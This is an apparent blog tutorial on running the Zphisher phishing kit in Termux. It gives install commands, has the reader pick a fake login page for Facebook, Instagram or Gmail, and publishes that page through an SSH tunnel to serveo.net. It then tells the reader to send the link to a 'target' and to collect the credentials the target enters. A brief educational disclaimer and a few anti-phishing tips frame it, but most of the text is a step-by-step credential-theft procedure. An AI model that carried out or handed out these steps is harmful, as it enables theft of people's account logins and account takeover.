How to Perform Phishing Using Zphisher in Termux

Disclaimer: This blog is for educational purposes only. Phishing is illegal and unethical if done without proper consent. Use this knowledge responsibly to educate others about the risks and secure your systems.

What Is Phishing?

Phishing is a social engineering attack where a malicious actor deceives users into revealing sensitive information like usernames, passwords, or credit card details by masquerading as a trustworthy entity.

What Is Zphisher?

Zphisher is an advanced phishing tool that simplifies the creation of phishing pages for multiple platforms like Facebook, Instagram, Gmail, and others. It supports Termux and is widely used for educational demonstrations of phishing attacks.

Setting Up Zphisher in Termux

Step 1: Install Termux

  1. Download Termux from F-Droid (recommended) or the Google Play Store.
  2. Open Termux and update the packages: 
    apt update && apt upgrade

Step 2: Install Required Packages

Install the dependencies needed to run Zphisher:

pkg install git curl php openssh -y

Step 3: Zphisher Repository

Go to Zphisher Repository Zphisher

Step 4: Scroll to the installation method  

$ pkg install tur-repo

$ pkg install zphisher

Launching Zphisher

  1. Start Zphisher by running:

    $ zphisher

  2. Once it launches, you’ll see a menu of available phishing templates for various platforms like Facebook, Instagram, and Gmail.

Creating a Phishing Page

Step 2: Select Localhost for Hosting

Once you select the phishing page, Zphisher will ask for the method to host the page. Choose the localhost option:

  • Localhost will only be accessible from your local network (ideal for testing purposes).

Step 3: Set Up Port Forwarding with Serveo

Now that your phishing page is hosted on localhost, you'll need to expose it to the internet using Serveo.

  1. First, ensure you have SSH installed in Termux. If not, install it:

    pkg install openssh

  2. Next, use Serveo for port forwarding. Serveo doesn't require any registration and works directly via SSH. To forward your localhost port (e.g., port 8080) to a public URL, run the following command:

    ssh -R 80:localhost:8080 serveo.net

  3. If the command is successful, you will receive a public URL (e.g., https://your-subdomain.serveo.net). This is the link you can share with your target.

Step 4: Copy and Share the Link

Once Serveo forwards the port, the phishing page will be accessible via the public URL. Share this link with your target. Be cautious and ethical, especially if using this for educational purposes.

How the Phishing Works

  1. When the target clicks the link, they are taken to a login page that mimics the chosen platform.
  2. If the target enters their credentials, Zphisher captures and displays them in your Termux session.

Securing Yourself from Phishing Attacks

  1. Verify URLs: Always check if the URL is legitimate. Phishing links often look suspicious.
  2. Enable Two-Factor Authentication (2FA): Adds an extra layer of security to your accounts.
  3. Use Anti-Phishing Tools: Employ browser extensions or antivirus software to block malicious links.
  4. Educate Yourself and Others: Stay informed about common phishing tactics and how to avoid them.

Conclusion

Zphisher demonstrates how attackers exploit human trust using phishing tactics. While this guide explains how to set up and use the tool, its primary goal is to educate you about the dangers of phishing and how to protect yourself from it. Always act ethically and responsibly in the cybersecurity domain.

Stay safe, and keep learning!
